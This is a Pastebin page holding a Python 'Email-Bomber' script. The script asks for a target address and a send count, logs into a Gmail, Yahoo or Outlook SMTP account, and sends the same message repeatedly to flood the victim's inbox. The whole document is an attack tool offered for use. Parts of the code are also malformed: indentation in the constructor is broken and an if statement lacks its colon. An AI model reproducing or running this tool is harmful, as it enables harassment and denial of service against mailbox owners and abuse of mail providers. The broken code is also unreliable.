SHARE
TWEET

Untitled

a guest Dec 3rd, 2019 114 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. '''imports'''
  2. import smtplib
  3. import sys
  4.  
  5.  
  6. class bcolors:
  7.     GREEN = '\033[92m'
  8.     YELLOW = '\033[93m'
  9.     RED = '\033[91m'
  10.  
  11.  
  12. def banner():
  13.     print(bcolors.GREEN + '+[+[+[ Email-Bomber v1.0 ]+]+]+')
  14.     print(bcolors.GREEN + '+[+[+[ made with codes ]+]+]+')
  15.     print(bcolors.GREEN + '''
  16.        \|/
  17.             .-*-        
  18.            / /|\        
  19.           _L_            
  20.         ,"   ".          
  21.     (\ /  O O  \ /)       .___     .__         .
  22.      \|    _    |/        [__ ._ _ [__) _ ._ _ |_  _ ._.
  23.        \  (_)  /          [___[ | )[__)(_)[ | )[_)(/,[
  24.        _/.___,\_         Author KodicyX
  25.       (_/ alf \_)            
  26.  
  27.                                                  ,-.--.
  28.  
  29. *.______________________________________________________________,' (Bomb)
  30.                                                                     `--' ''')
  31.  
  32.  
  33. class Email_Bomber:
  34.     count = 0
  35.  
  36. def __init__(self):
  37.         try:
  38.             print(bcolors.RED + '\n+[+[+[ Initializing program ]+]+]+')
  39.             self.target = str(input(bcolors.GREEN + 'Enter target email <: '))
  40.             self.mode = int(input(bcolors.GREEN + 'Enter BOMB mode (1,2,3,4) || 1:(1000) 2:(500) 3:(250) 4:(custom) <: ')
  41.             if int(self.mode) > int(4) or int(self.mode) < int(1)
  42. print('ERROR: Invalid Option. GoodBye.')
  43. sys.exit(1)
  44. except Exception as e:
  45.             print(f'ERROR: {e}')
  46.  
  47.     def bomb(self):
  48.         try:
  49.             print(bcolors.RED + '\n+[+[+[ Setting up bomb ]+]+]+')
  50.             self.amount = None
  51.             if self.mode == int(1):
  52.                 self.amount = int(1000)
  53.             elif self.mode == int(2):
  54.                 self.amount = int(500)
  55.             elif self.mode == int(3):
  56.                 self.amount = int(250)
  57.             else:
  58.                 self.amount = int(input(bcolors.GREEN + 'Choose a CUSTOM amount <: '))
  59.             print(bcolors.RED + f'\n+[+[+[ You have selected BOMB mode: {self.mode} and {self.amount} emails ]+]+]+')
  60.         except Exception as e:
  61.             print(f'ERROR: {e}')
  62.  
  63.     def email(self):
  64.         try:
  65.             print(bcolors.RED + '\n+[+[+[ Setting up email ]+]+]+')
  66.             self.server = str(input(bcolors.GREEN + 'Enter email server | or select premade options - 1:Gmail 2:Yahoo 3:Outlook <: '))
  67.             premade = ['1', '2', '3']
  68.             default_port = True
  69.             if self.server not in premade:
  70.                 default_port = False
  71.                 self.port = int(input(bcolors.GREEN + 'Enter port number <: '))
  72.  
  73.             if default_port == True:
  74.                 self.port = int(587)
  75.  
  76.             if self.server == '1':
  77.                 self.server = 'smtp.gmail.com'
  78.             elif self.server == '2':
  79.                 self.server = 'smtp.mail.yahoo.com'
  80.             elif self.server == '3':
  81.                 self.server = 'smtp-mail.outlook.com'
  82.  
  83.             self.fromAddr = str(input(bcolors.GREEN + 'Enter from address <: '))
  84.             self.fromPwd = str(input(bcolors.GREEN + 'Enter from password <: '))
  85.             self.subject = str(input(bcolors.GREEN + 'Enter subject <: '))
  86.             self.message = str(input(bcolors.GREEN + 'Enter message <: '))
  87.  
  88.             self.msg = '''From: %s\nTo: %s\nSubject %s\n%s\n
  89.             ''' % (self.fromAddr, self.target, self.subject, self.message)
  90.  
  91.             self.s = smtplib.SMTP(self.server, self.port)
  92.             self.s.ehlo()
  93.             self.s.starttls()
  94.             self.s.ehlo()
  95.             self.s.login(self.fromAddr, self.fromPwd)
  96.         except Exception as e:
  97.             print(f'ERROR: {e}')
  98.  
  99.     def send(self):
  100.         try:
  101.             self.s.sendmail(self.fromAddr, self.target, self.msg)
  102.             self.count +=1
  103.             print(bcolors.YELLOW + f'BOMB: {self.count}')
  104.         except Exception as e:
  105.             print(f'ERROR: {e}')
  106.  
  107.     def attack(self):
  108.         print(bcolors.RED + '\n+[+[+[ Attacking... ]+]+]+')
  109.         for email in range(self.amount+1):
  110.             self.send()
  111.         self.s.close()
  112.         print(bcolors.RED + '\n+[+[+[ Attack finished ]+]+]+')
  113.         sys.exit(0)
  114.  
  115.  
  116. if __name__=='__main__':
  117.     banner()
  118.     bomb = Email_Bomber()
  119.     bomb.bomb()
  120.     bomb.email()
  121.     bomb.attack()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top